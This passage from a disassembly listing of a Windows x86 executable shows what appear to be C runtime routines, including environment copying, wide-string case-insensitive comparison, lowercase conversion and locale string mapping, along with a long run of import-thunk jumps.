mov [ebp+var_4], ecx
cmp [ebp+var_4], 0
jnz short loc_430B15
push 9
call sub_41BAE0
add esp, 4
loc_430B15: ; CODE XREF: sub_430AA0+69j
mov edx, [ebp+arg_0]
mov [ebp+var_C], edx
loc_430B1B: ; CODE XREF: sub_430AA0+DCj
mov eax, [ebp+var_C]
cmp dword ptr [eax], 0
jz short loc_430B7E
push 14Fh
push offset aSetenv_c ; "setenv.c"
push 2
mov ecx, [ebp+var_C]
mov edx, [ecx]
push edx
call sub_418E70
add esp, 4
add eax, 1
push eax
call sub_416A30
add esp, 10h
mov ecx, [ebp+var_8]
mov [ecx], eax
mov edx, [ebp+var_8]
cmp dword ptr [edx], 0
jz short loc_430B6A
mov eax, [ebp+var_C]
mov ecx, [eax]
push ecx
mov edx, [ebp+var_8]
mov eax, [edx]
push eax
call sub_419FA0
add esp, 8
loc_430B6A: ; CODE XREF: sub_430AA0+B4j
mov ecx, [ebp+var_C]
add ecx, 4
mov [ebp+var_C], ecx
mov edx, [ebp+var_8]
add edx, 4
mov [ebp+var_8], edx
jmp short loc_430B1B
; ---------------------------------------------------------------------------
loc_430B7E: ; CODE XREF: sub_430AA0+81j
mov eax, [ebp+var_8]
mov dword ptr [eax], 0
mov eax, [ebp+var_4]
loc_430B8A: ; CODE XREF: sub_430AA0+1Bj
mov esp, ebp
pop ebp
retn
sub_430AA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430B90 proc near ; CODE XREF: sub_430740+13p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp dword_49253C, 0
jnz short loc_430BB2
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4199F0
add esp, 8
jmp loc_430C79
; ---------------------------------------------------------------------------
loc_430BB2: ; CODE XREF: sub_430B90+Bj
push 19h
call sub_41BC90
add esp, 4
jmp short loc_430BC7
; ---------------------------------------------------------------------------
loc_430BBE: ; CODE XREF: sub_430B90:loc_430C56j
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
loc_430BC7: ; CODE XREF: sub_430B90+2Cj
mov eax, [ebp+arg_0]
movzx cx, byte ptr [eax]
mov word ptr [ebp+var_4], cx
mov edx, [ebp+var_4]
and edx, 0FFFFh
test edx, edx
jz short loc_430C5B
mov eax, [ebp+var_4]
and eax, 0FFh
xor ecx, ecx
mov cl, byte_492641[eax]
and ecx, 4
test ecx, ecx
jz short loc_430C46
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jnz short loc_430C18
push 19h
call sub_41BD30
add esp, 4
xor eax, eax
jmp short loc_430C79
; ---------------------------------------------------------------------------
loc_430C18: ; CODE XREF: sub_430B90+78j
mov edx, [ebp+var_4]
and edx, 0FFFFh
shl edx, 8
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
or edx, ecx
cmp [ebp+arg_4], edx
jnz short loc_430C44
push 19h
call sub_41BD30
add esp, 4
mov eax, [ebp+arg_0]
sub eax, 1
jmp short loc_430C79
; ---------------------------------------------------------------------------
loc_430C44: ; CODE XREF: sub_430B90+A0j
jmp short loc_430C56
; ---------------------------------------------------------------------------
loc_430C46: ; CODE XREF: sub_430B90+64j
mov edx, [ebp+var_4]
and edx, 0FFFFh
cmp [ebp+arg_4], edx
jnz short loc_430C56
jmp short loc_430C5B
; ---------------------------------------------------------------------------
loc_430C56: ; CODE XREF: sub_430B90:loc_430C44j
; sub_430B90+C2j
jmp loc_430BBE
; ---------------------------------------------------------------------------
loc_430C5B: ; CODE XREF: sub_430B90+4Dj
; sub_430B90+C4j
push 19h
call sub_41BD30
add esp, 4
mov eax, [ebp+var_4]
and eax, 0FFFFh
cmp [ebp+arg_4], eax
jnz short loc_430C77
mov eax, [ebp+arg_0]
jmp short loc_430C79
; ---------------------------------------------------------------------------
loc_430C77: ; CODE XREF: sub_430B90+E0j
xor eax, eax
loc_430C79: ; CODE XREF: sub_430B90+1Dj
; sub_430B90+86j ...
mov esp, ebp
pop ebp
retn
sub_430B90 endp
; ---------------------------------------------------------------------------
align 10h
jmp ds:dword_4944DC
; ---------------------------------------------------------------------------
jmp ds:dword_4944D8
; ---------------------------------------------------------------------------
jmp ds:dword_4944D4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_430C92 proc near ; CODE XREF: sub_406614+15Bp
jmp ds:dword_4944D0
sub_430C92 endp
; ---------------------------------------------------------------------------
jmp ds:dword_4944CC
; ---------------------------------------------------------------------------
jmp ds:dword_4944C8
; ---------------------------------------------------------------------------
jmp ds:dword_4944C4
; ---------------------------------------------------------------------------
jmp ds:dword_4944C0
; ---------------------------------------------------------------------------
jmp ds:dword_4944BC
; ---------------------------------------------------------------------------
jmp ds:dword_4944B8
; ---------------------------------------------------------------------------
jmp ds:dword_4944B4
; ---------------------------------------------------------------------------
jmp ds:dword_4944B0
; ---------------------------------------------------------------------------
jmp ds:dword_4944AC
; ---------------------------------------------------------------------------
jmp ds:dword_4944A8
; ---------------------------------------------------------------------------
jmp ds:dword_4944A4
; ---------------------------------------------------------------------------
jmp ds:dword_4944A0
; ---------------------------------------------------------------------------
jmp ds:dword_4942D4
; ---------------------------------------------------------------------------
jmp ds:dword_4942D8
; ---------------------------------------------------------------------------
jmp ds:dword_4942DC
; ---------------------------------------------------------------------------
jmp ds:dword_4942E0
; ---------------------------------------------------------------------------
jmp ds:dword_4942E4
; ---------------------------------------------------------------------------
jmp ds:dword_4942E8
; ---------------------------------------------------------------------------
jmp ds:dword_4942EC
; ---------------------------------------------------------------------------
jmp ds:dword_4942F0
; ---------------------------------------------------------------------------
jmp ds:dword_4942F4
; ---------------------------------------------------------------------------
jmp ds:dword_4942F8
; ---------------------------------------------------------------------------
jmp ds:dword_4942FC
; ---------------------------------------------------------------------------
jmp ds:dword_494300
; ---------------------------------------------------------------------------
jmp ds:dword_494304
; ---------------------------------------------------------------------------
jmp ds:dword_494308
; ---------------------------------------------------------------------------
jmp ds:dword_49430C
; ---------------------------------------------------------------------------
jmp ds:dword_494310
; ---------------------------------------------------------------------------
jmp ds:dword_494314
; ---------------------------------------------------------------------------
jmp ds:dword_494318
; ---------------------------------------------------------------------------
jmp ds:dword_49431C
; ---------------------------------------------------------------------------
jmp ds:dword_494320
; ---------------------------------------------------------------------------
jmp ds:dword_494324
; ---------------------------------------------------------------------------
jmp ds:dword_494328
; ---------------------------------------------------------------------------
jmp ds:dword_49432C
; ---------------------------------------------------------------------------
jmp ds:dword_494330
; ---------------------------------------------------------------------------
jmp ds:dword_494334
; ---------------------------------------------------------------------------
jmp ds:dword_494338
; ---------------------------------------------------------------------------
jmp ds:dword_49433C
; ---------------------------------------------------------------------------
jmp ds:dword_494340
; ---------------------------------------------------------------------------
jmp ds:dword_494344
; ---------------------------------------------------------------------------
jmp ds:dword_494348
; ---------------------------------------------------------------------------
jmp ds:dword_49434C
; ---------------------------------------------------------------------------
jmp ds:dword_494350
; ---------------------------------------------------------------------------
jmp ds:dword_494354
; ---------------------------------------------------------------------------
jmp ds:dword_494358
; ---------------------------------------------------------------------------
jmp ds:dword_49435C
; ---------------------------------------------------------------------------
jmp ds:dword_494360
; ---------------------------------------------------------------------------
jmp ds:dword_494364
; ---------------------------------------------------------------------------
jmp ds:dword_494368
; ---------------------------------------------------------------------------
jmp ds:dword_49436C
; ---------------------------------------------------------------------------
jmp ds:dword_494370
; ---------------------------------------------------------------------------
jmp ds:dword_494374
; ---------------------------------------------------------------------------
jmp ds:dword_494378
; ---------------------------------------------------------------------------
jmp ds:dword_49437C
; ---------------------------------------------------------------------------
jmp ds:dword_494380
; ---------------------------------------------------------------------------
jmp ds:dword_494384
; ---------------------------------------------------------------------------
jmp ds:dword_494388
; ---------------------------------------------------------------------------
jmp ds:dword_49438C
; ---------------------------------------------------------------------------
jmp ds:dword_494390
; ---------------------------------------------------------------------------
jmp ds:dword_494394
; ---------------------------------------------------------------------------
jmp ds:dword_494398
; ---------------------------------------------------------------------------
jmp ds:dword_49439C
; ---------------------------------------------------------------------------
jmp ds:dword_4943A0
; ---------------------------------------------------------------------------
jmp ds:dword_4943A4
; ---------------------------------------------------------------------------
jmp ds:dword_4943A8
; ---------------------------------------------------------------------------
jmp ds:dword_4943AC
; ---------------------------------------------------------------------------
jmp ds:dword_4943B0
; ---------------------------------------------------------------------------
jmp ds:dword_4943B4
; ---------------------------------------------------------------------------
jmp ds:dword_494290
; ---------------------------------------------------------------------------
jmp ds:dword_4943B8
; ---------------------------------------------------------------------------
jmp ds:dword_4943BC
; ---------------------------------------------------------------------------
jmp ds:dword_4943C0
; ---------------------------------------------------------------------------
jmp ds:dword_4943C4
; ---------------------------------------------------------------------------
jmp ds:dword_4943C8
; ---------------------------------------------------------------------------
jmp ds:dword_4943CC
; ---------------------------------------------------------------------------
jmp ds:dword_4943D0
; ---------------------------------------------------------------------------
jmp ds:dword_4943D4
; ---------------------------------------------------------------------------
jmp ds:dword_4943D8
; ---------------------------------------------------------------------------
jmp ds:dword_4943DC
; ---------------------------------------------------------------------------
jmp ds:dword_4943E0
; ---------------------------------------------------------------------------
jmp ds:dword_4943E4
; ---------------------------------------------------------------------------
jmp ds:dword_4943E8
; ---------------------------------------------------------------------------
jmp ds:dword_4943EC
; ---------------------------------------------------------------------------
jmp ds:dword_4943F0
; ---------------------------------------------------------------------------
jmp ds:dword_4943F4
; ---------------------------------------------------------------------------
jmp ds:dword_4943F8
; ---------------------------------------------------------------------------
jmp ds:dword_4943FC
; ---------------------------------------------------------------------------
jmp ds:dword_494400
; ---------------------------------------------------------------------------
jmp ds:dword_494404
; ---------------------------------------------------------------------------
jmp ds:dword_494408
; ---------------------------------------------------------------------------
jmp ds:dword_49440C
; ---------------------------------------------------------------------------
jmp ds:dword_494410
; ---------------------------------------------------------------------------
jmp ds:dword_494414
; ---------------------------------------------------------------------------
jmp ds:dword_494418
; ---------------------------------------------------------------------------
jmp ds:dword_49441C
; ---------------------------------------------------------------------------
jmp ds:dword_494420
; ---------------------------------------------------------------------------
jmp ds:dword_494424
; ---------------------------------------------------------------------------
jmp ds:dword_494428
; ---------------------------------------------------------------------------
jmp ds:dword_49442C
; ---------------------------------------------------------------------------
jmp ds:dword_494430
; ---------------------------------------------------------------------------
jmp ds:dword_494434
; ---------------------------------------------------------------------------
jmp ds:dword_494438
; ---------------------------------------------------------------------------
jmp ds:dword_49443C
; ---------------------------------------------------------------------------
jmp ds:dword_494440
; ---------------------------------------------------------------------------
jmp ds:dword_494444
; ---------------------------------------------------------------------------
jmp ds:dword_494448
; ---------------------------------------------------------------------------
jmp ds:dword_49444C
; ---------------------------------------------------------------------------
jmp ds:dword_494450
; ---------------------------------------------------------------------------
jmp ds:dword_494454
; ---------------------------------------------------------------------------
jmp ds:dword_494458
; ---------------------------------------------------------------------------
jmp ds:dword_49445C
; ---------------------------------------------------------------------------
jmp ds:dword_494460
; ---------------------------------------------------------------------------
jmp ds:dword_494464
; ---------------------------------------------------------------------------
jmp ds:dword_494468
; ---------------------------------------------------------------------------
jmp ds:dword_49446C
; ---------------------------------------------------------------------------
jmp ds:dword_494470
; ---------------------------------------------------------------------------
jmp ds:dword_494474
; ---------------------------------------------------------------------------
jmp ds:dword_494478
; ---------------------------------------------------------------------------
jmp ds:dword_49447C
; ---------------------------------------------------------------------------
jmp ds:dword_494480
; ---------------------------------------------------------------------------
jmp ds:dword_494484
; ---------------------------------------------------------------------------
jmp ds:dword_494488
; ---------------------------------------------------------------------------
jmp ds:dword_49448C
; ---------------------------------------------------------------------------
jmp ds:dword_494490
; ---------------------------------------------------------------------------
jmp ds:dword_494494
; ---------------------------------------------------------------------------
jmp ds:dword_494498
; ---------------------------------------------------------------------------
jmp ds:dword_4942D0
; ---------------------------------------------------------------------------
jmp ds:dword_4942CC
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_430F9E proc near ; CODE XREF: sub_425E8C+13p
jmp ds:dword_4942C8
sub_430F9E endp
; ---------------------------------------------------------------------------
jmp ds:dword_4942C4
; ---------------------------------------------------------------------------
jmp ds:dword_4942C0
; ---------------------------------------------------------------------------
jmp ds:dword_4942BC
; ---------------------------------------------------------------------------
jmp ds:dword_4942B8
; ---------------------------------------------------------------------------
jmp ds:dword_4942B4
; ---------------------------------------------------------------------------
jmp ds:dword_4942B0
; ---------------------------------------------------------------------------
jmp ds:dword_4942AC
; ---------------------------------------------------------------------------
jmp ds:dword_4942A8
; ---------------------------------------------------------------------------
jmp ds:dword_4942A4
; ---------------------------------------------------------------------------
jmp ds:dword_4942A0
; ---------------------------------------------------------------------------
jmp ds:dword_49429C
; ---------------------------------------------------------------------------
jmp ds:dword_494298
; ---------------------------------------------------------------------------
jmp ds:dword_494294
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431000 proc near ; CODE XREF: sub_405FE1+E2p
; sub_405FE1+F9p ...
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
cmp dword_492170, 0
jnz loc_4310CA
loc_431013: ; CODE XREF: sub_431000+BFj
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, [eax]
cmp ecx, 5Ah
jg short loc_43103D
mov edx, [ebp+arg_0]
xor eax, eax
mov ax, [edx]
cmp eax, 41h
jl short loc_43103D
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx]
add edx, 20h
mov [ebp+var_10], edx
jmp short loc_431048
; ---------------------------------------------------------------------------
loc_43103D: ; CODE XREF: sub_431000+1Ej
; sub_431000+2Bj
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, [eax]
mov [ebp+var_10], ecx
loc_431048: ; CODE XREF: sub_431000+3Bj
mov dx, word ptr [ebp+var_10]
mov word ptr [ebp+var_4], dx
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cx, [eax]
cmp ecx, 5Ah
jg short loc_43107A
mov edx, [ebp+arg_4]
xor eax, eax
mov ax, [edx]
cmp eax, 41h
jl short loc_43107A
mov ecx, [ebp+arg_4]
xor edx, edx
mov dx, [ecx]
add edx, 20h
mov [ebp+var_14], edx
jmp short loc_431085
; ---------------------------------------------------------------------------
loc_43107A: ; CODE XREF: sub_431000+5Bj
; sub_431000+68j
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cx, [eax]
mov [ebp+var_14], ecx
loc_431085: ; CODE XREF: sub_431000+78j
mov dx, word ptr [ebp+var_14]
mov word ptr [ebp+var_C], dx
mov eax, [ebp+arg_0]
add eax, 2
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_4]
add ecx, 2
mov [ebp+arg_4], ecx
mov edx, [ebp+var_4]
and edx, 0FFFFh
test edx, edx
jz short loc_4310C5
mov eax, [ebp+var_4]
and eax, 0FFFFh
mov ecx, [ebp+var_C]
and ecx, 0FFFFh
cmp eax, ecx
jz loc_431013
loc_4310C5: ; CODE XREF: sub_431000+AAj
jmp loc_43118A
; ---------------------------------------------------------------------------
loc_4310CA: ; CODE XREF: sub_431000+Dj
push offset dword_49274C
call ds:dword_494418
cmp dword_492748, 0
jz short loc_4310FC
push offset dword_49274C
call ds:dword_494414
push 13h
call sub_41BC90
add esp, 4
mov [ebp+var_8], 1
jmp short loc_431103
; ---------------------------------------------------------------------------
loc_4310FC: ; CODE XREF: sub_431000+DCj
mov [ebp+var_8], 0
loc_431103: ; CODE XREF: sub_431000+FAj
; sub_431000+16Bj
mov edx, [ebp+arg_0]
mov ax, [edx]
mov [ebp+var_16], ax
mov cx, [ebp+var_16]
push ecx
mov edx, [ebp+arg_0]
add edx, 2
mov [ebp+arg_0], edx
call sub_4312D0
add esp, 4
mov word ptr [ebp+var_4], ax
mov eax, [ebp+arg_4]
mov cx, [eax]
mov [ebp+var_18], cx
mov dx, [ebp+var_18]
push edx
mov eax, [ebp+arg_4]
add eax, 2
mov [ebp+arg_4], eax
call sub_4312D0
add esp, 4
mov word ptr [ebp+var_C], ax
mov ecx, [ebp+var_4]
and ecx, 0FFFFh
test ecx, ecx
jz short loc_43116D
mov edx, [ebp+var_4]
and edx, 0FFFFh
mov eax, [ebp+var_C]
and eax, 0FFFFh
cmp edx, eax
jz short loc_431103
loc_43116D: ; CODE XREF: sub_431000+156j
cmp [ebp+var_8], 0
jz short loc_43117F
push 13h
call sub_41BD30
add esp, 4
jmp short loc_43118A
; ---------------------------------------------------------------------------
loc_43117F: ; CODE XREF: sub_431000+171j
push offset dword_49274C
call ds:dword_494414
loc_43118A: ; CODE XREF: sub_431000:loc_4310C5j
; sub_431000+17Dj
mov eax, [ebp+var_4]
and eax, 0FFFFh
mov ecx, [ebp+var_C]
and ecx, 0FFFFh
sub eax, ecx
mov esp, ebp
pop ebp
retn
sub_431000 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4311B0 proc near ; CODE XREF: sub_409842+21p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
jnz short loc_4311BE
xor eax, eax
jmp short loc_4311F3
; ---------------------------------------------------------------------------
loc_4311BE: ; CODE XREF: sub_4311B0+8j
mov eax, [ebp+arg_0]
push eax
call sub_418E70
add esp, 4
add eax, 1
push eax
call sub_416A10
add esp, 4
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_4311F1
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_4]
push edx
call sub_419FA0
add esp, 8
jmp short loc_4311F3
; ---------------------------------------------------------------------------
loc_4311F1: ; CODE XREF: sub_4311B0+2Dj
xor eax, eax
loc_4311F3: ; CODE XREF: sub_4311B0+Cj
; sub_4311B0+3Fj
mov esp, ebp
pop ebp
retn
sub_4311B0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+8]
and eax, 0FFFFh
cmp eax, 0FFFFh
jnz short loc_43121C
mov ax, [ebp+8]
jmp loc_4312C1
; ---------------------------------------------------------------------------
loc_43121C: ; CODE XREF: .text:00431211j
cmp dword_492170, 0
jnz short loc_431256
mov ecx, [ebp+8]
and ecx, 0FFFFh
cmp ecx, 41h
jl short loc_431250
mov edx, [ebp+8]
and edx, 0FFFFh
cmp edx, 5Ah
jg short loc_431250
mov eax, [ebp+8]
and eax, 0FFFFh
add eax, 20h
mov [ebp+8], ax
loc_431250: ; CODE XREF: .text:00431231j
; .text:0043123Fj
mov ax, [ebp+8]
jmp short loc_4312C1
; ---------------------------------------------------------------------------
loc_431256: ; CODE XREF: .text:00431223j
push offset dword_49274C
call ds:dword_494418
cmp dword_492748, 0
jz short loc_431288
push offset dword_49274C
call ds:dword_494414
push 13h
call sub_41BC90
add esp, 4
mov dword ptr [ebp-4], 1
jmp short loc_43128F
; ---------------------------------------------------------------------------
loc_431288: ; CODE XREF: .text:00431268j
mov dword ptr [ebp-4], 0
loc_43128F: ; CODE XREF: .text:00431286j
mov cx, [ebp+8]
push ecx
call sub_4312D0
add esp, 4
mov [ebp+8], ax
cmp dword ptr [ebp-4], 0
jz short loc_4312B2
push 13h
call sub_41BD30
add esp, 4
jmp short loc_4312BD
; ---------------------------------------------------------------------------
loc_4312B2: ; CODE XREF: .text:004312A4j
push offset dword_49274C
call ds:dword_494414
loc_4312BD: ; CODE XREF: .text:004312B0j
mov ax, [ebp+8]
loc_4312C1: ; CODE XREF: .text:00431217j
; .text:00431254j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4312D0 proc near ; CODE XREF: sub_431000+11Bp
; sub_431000+13Fp ...
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
and eax, 0FFFFh
cmp eax, 0FFFFh
jnz short loc_4312EC
mov ax, word ptr [ebp+arg_0]
jmp loc_431380
; ---------------------------------------------------------------------------
loc_4312EC: ; CODE XREF: sub_4312D0+11j
cmp dword_492170, 0
jnz short loc_431326
mov ecx, [ebp+arg_0]
and ecx, 0FFFFh
cmp ecx, 41h
jl short loc_431320
mov edx, [ebp+arg_0]
and edx, 0FFFFh
cmp edx, 5Ah
jg short loc_431320
mov eax, [ebp+arg_0]
and eax, 0FFFFh
add eax, 20h
mov word ptr [ebp+arg_0], ax
loc_431320: ; CODE XREF: sub_4312D0+31j
; sub_4312D0+3Fj
mov ax, word ptr [ebp+arg_0]
jmp short loc_431380
; ---------------------------------------------------------------------------
loc_431326: ; CODE XREF: sub_4312D0+23j
mov ecx, [ebp+arg_0]
and ecx, 0FFFFh
cmp ecx, 100h
jge short loc_431350
push 1
mov dx, word ptr [ebp+arg_0]
push edx
call sub_4316E0
add esp, 8
test eax, eax
jnz short loc_431350
mov ax, word ptr [ebp+arg_0]
jmp short loc_431380
; ---------------------------------------------------------------------------
loc_431350: ; CODE XREF: sub_4312D0+65j
; sub_4312D0+78j
push 0
push 1
lea eax, [ebp+var_4]
push eax
push 1
lea ecx, [ebp+arg_0]
push ecx
push 100h
mov edx, dword_492170
push edx
call sub_431390
add esp, 1Ch
test eax, eax
jnz short loc_43137C
mov ax, word ptr [ebp+arg_0]
jmp short loc_431380
; ---------------------------------------------------------------------------
loc_43137C: ; CODE XREF: sub_4312D0+A4j
mov ax, [ebp+var_4]
loc_431380: ; CODE XREF: sub_4312D0+17j
; sub_4312D0+54j ...
mov esp, ebp
pop ebp
retn
sub_4312D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431390 proc near ; CODE XREF: sub_4312D0+9Ap
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_433D88
push offset sub_425F84
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFD8h
push ebx
push esi
push edi
mov [ebp+var_18], esp
cmp dword_49240C, 0
jnz short loc_431416
push 0
push 0
push 1
push offset dword_43301C
push 100h
push 0
call ds:dword_494478
test eax, eax
jz short loc_4313E7
mov dword_49240C, 1
jmp short loc_431416
; ---------------------------------------------------------------------------
loc_4313E7: ; CODE XREF: sub_431390+49j
push 0
push 0
push 1
push offset dword_433018
push 100h
push 0
call ds:dword_494474
test eax, eax
jz short loc_43140F
mov dword_49240C, 2
jmp short loc_431416
; ---------------------------------------------------------------------------
loc_43140F: ; CODE XREF: sub_431390+71j
xor eax, eax
jmp loc_431663
; ---------------------------------------------------------------------------
loc_431416: ; CODE XREF: sub_431390+2Dj
; sub_431390+55j ...
cmp [ebp+arg_C], 0
jle short loc_43142F
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
call sub_431680
add esp, 8
mov [ebp+arg_C], eax
loc_43142F: ; CODE XREF: sub_431390+8Aj
cmp dword_49240C, 1
jnz short loc_43145B
mov edx, [ebp+arg_14]
push edx
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call ds:dword_494478
jmp loc_431663
; ---------------------------------------------------------------------------
loc_43145B: ; CODE XREF: sub_431390+A6j
cmp dword_49240C, 2
jnz loc_431661
cmp [ebp+arg_18], 0
jnz short loc_431477
mov edx, dword_492180
mov [ebp+arg_18], edx
loc_431477: ; CODE XREF: sub_431390+DCj
push 0
push 0
push 0
push 0
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
push 220h
mov edx, [ebp+arg_18]
push edx
call ds:dword_4943B0
mov [ebp+var_20], eax
cmp [ebp+var_20], 0
jnz short loc_4314A6
xor eax, eax
jmp loc_431663
; ---------------------------------------------------------------------------
loc_4314A6: ; CODE XREF: sub_431390+10Dj
mov [ebp+var_4], 0
mov eax, [ebp+var_20]
add eax, 3
and al, 0FCh
call sub_418D40
mov [ebp+var_30], esp
mov [ebp+var_18], esp
mov eax, [ebp+var_30]
mov [ebp+var_1C], eax
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_4314E6
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_1C], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_4314E6: ; CODE XREF: sub_431390+13Dj
cmp [ebp+var_1C], 0
jnz short loc_4314F3
xor eax, eax
jmp loc_431663
; ---------------------------------------------------------------------------
loc_4314F3: ; CODE XREF: sub_431390+15Aj
push 0
push 0
mov ecx, [ebp+var_20]
push ecx
mov edx, [ebp+var_1C]
push edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
push 220h
mov edx, [ebp+arg_18]
push edx
call ds:dword_4943B0
test eax, eax
jnz short loc_431521
xor eax, eax
jmp loc_431663
; ---------------------------------------------------------------------------
loc_431521: ; CODE XREF: sub_431390+188j
push 0
push 0
mov eax, [ebp+var_20]
push eax
mov ecx, [ebp+var_1C]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call ds:dword_494474
mov [ebp+var_2C], eax
cmp [ebp+var_2C], 0
jnz short loc_43154B
xor eax, eax
jmp loc_431663
; ---------------------------------------------------------------------------
loc_43154B: ; CODE XREF: sub_431390+1B2j
mov [ebp+var_4], 1
mov eax, [ebp+var_2C]
add eax, 3
and al, 0FCh
call sub_418D40
mov [ebp+var_34], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_34]
mov [ebp+var_24], ecx
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_43158B
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_24], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_43158B: ; CODE XREF: sub_431390+1E2j
cmp [ebp+var_24], 0
jnz short loc_431598
xor eax, eax
jmp loc_431663
; ---------------------------------------------------------------------------
loc_431598: ; CODE XREF: sub_431390+1FFj
mov edx, [ebp+var_2C]
push edx
mov eax, [ebp+var_24]
push eax
mov ecx, [ebp+var_20]
push ecx
mov edx, [ebp+var_1C]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call ds:dword_494474
test eax, eax
jnz short loc_4315C1
xor eax, eax
jmp loc_431663
; ---------------------------------------------------------------------------
loc_4315C1: ; CODE XREF: sub_431390+228j
mov edx, [ebp+arg_4]
and edx, 400h
test edx, edx
jz short loc_431606
mov eax, [ebp+var_2C]
mov [ebp+var_28], eax
cmp [ebp+arg_14], 0
jz short loc_431604
mov ecx, [ebp+arg_14]
cmp ecx, [ebp+var_2C]
jge short loc_4315EA
mov edx, [ebp+arg_14]
mov [ebp+var_38], edx
jmp short loc_4315F0
; ---------------------------------------------------------------------------
loc_4315EA: ; CODE XREF: sub_431390+250j
mov eax, [ebp+var_2C]
mov [ebp+var_38], eax
loc_4315F0: ; CODE XREF: sub_431390+258j
mov ecx, [ebp+var_38]
push ecx
mov edx, [ebp+var_24]
push edx
mov eax, [ebp+arg_10]
push eax
call sub_4191A0
add esp, 0Ch
loc_431604: ; CODE XREF: sub_431390+248j
jmp short loc_43165C
; ---------------------------------------------------------------------------
loc_431606: ; CODE XREF: sub_431390+23Cj
cmp [ebp+arg_14], 0
jnz short loc_431633
push 0
push 0
mov ecx, [ebp+var_2C]
push ecx
mov edx, [ebp+var_24]
push edx
push 1
mov eax, [ebp+arg_18]
push eax
call ds:dword_4942D4
mov [ebp+var_28], eax
cmp [ebp+var_28], 0
jnz short loc_431631
xor eax, eax
jmp short loc_431663
; ---------------------------------------------------------------------------
loc_431631: ; CODE XREF: sub_431390+29Bj
jmp short loc_43165C
; ---------------------------------------------------------------------------
loc_431633: ; CODE XREF: sub_431390+27Aj
mov ecx, [ebp+arg_14]
push ecx
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+var_2C]
push eax
mov ecx, [ebp+var_24]
push ecx
push 1
mov edx, [ebp+arg_18]
push edx
call ds:dword_4942D4
mov [ebp+var_28], eax
cmp [ebp+var_28], 0
jnz short loc_43165C
xor eax, eax
jmp short loc_431663
; ---------------------------------------------------------------------------
loc_43165C: ; CODE XREF: sub_431390:loc_431604j
; sub_431390:loc_431631j ...
mov eax, [ebp+var_28]
jmp short loc_431663
; ---------------------------------------------------------------------------
loc_431661: ; CODE XREF: sub_431390+D2j
xor eax, eax
loc_431663: ; CODE XREF: sub_431390+81j
; sub_431390+C6j ...
lea esp, [ebp-44h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_431390 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
